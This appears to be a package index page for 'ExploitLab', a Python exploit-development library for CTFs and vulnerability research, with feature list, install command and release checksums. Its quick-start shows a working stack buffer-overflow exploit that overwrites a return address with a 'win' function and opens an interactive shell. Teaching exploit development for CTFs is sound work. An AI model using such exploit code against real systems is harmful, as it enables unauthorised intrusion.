ExploitLab 🧪
A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.
Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.
🚀 Features
- Tubes (
Process,Remote) — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking.interactive()shells. - ELF Analysis — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using
pyelftools. - Assembly & Shellcoding — On-the-fly assembly compilation using
keystone-engineand ready-to-use shellcode templates. - Memory Packing — Robust
p32,p64,u32,u64conversions. - Pattern Generation — De Bruijn cyclic pattern generators (
cyclic,cyclic_find) to instantly find buffer overflow offsets. - Context Management — Global architecture (
amd64,i386) and colored logging configuration.
📦 Installation
pip install exploitlab
🛠️ Quick Start
Here is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:
from exploitlab import *
# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'
# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")
# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')
# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win']) # Convert address to bytes
# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)
# 6. Enjoy your shell
p.interactive()
📚 Official Documentation
Looking for the complete API reference, exception handling, and detailed examples? We’ve got you covered.
The complete and official ExploitLab Documentation is available as a comprehensive PDF file.
ExploitLab Documentation (PDF)
Happy Hacking! 🧪
Metadata
Release files for exploitlab 0.2.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| exploitlab-0.2.1.tar.gz | 39.5 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| exploitlab-0.2.1-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 73.7 kB
Release files / exploitlab-0.2.1.tar.gz
| Download URL | exploitlab-0.2.1.tar.gz |
|---|---|
| Size | 39.5 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
e5812dfeb82ff6b183a1ddbfe8d2d7817c11ada539b354d532578ffacc750aa8
|
|
BLAKE2b-256 checksum How to use checksums |
e3315c3f4a8e62acc26b0ea944e4e5bc2cd8a080be79a337996cf0f26fd0a7c2
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.13.13
|
Release files / exploitlab-0.2.1-py3-none-any.whl
| Download URL | exploitlab-0.2.1-py3-none-any.whl |
|---|---|
| Size | 34.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
91904dde91c9fe2f045eac126ab9e79fedb126778aa16c9777244d79b67f03f5
|
|
BLAKE2b-256 checksum How to use checksums |
e966fe4c3468583e309775c895c17eae0abb28962b784ac0a72563bbfadd599b
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.13.13
|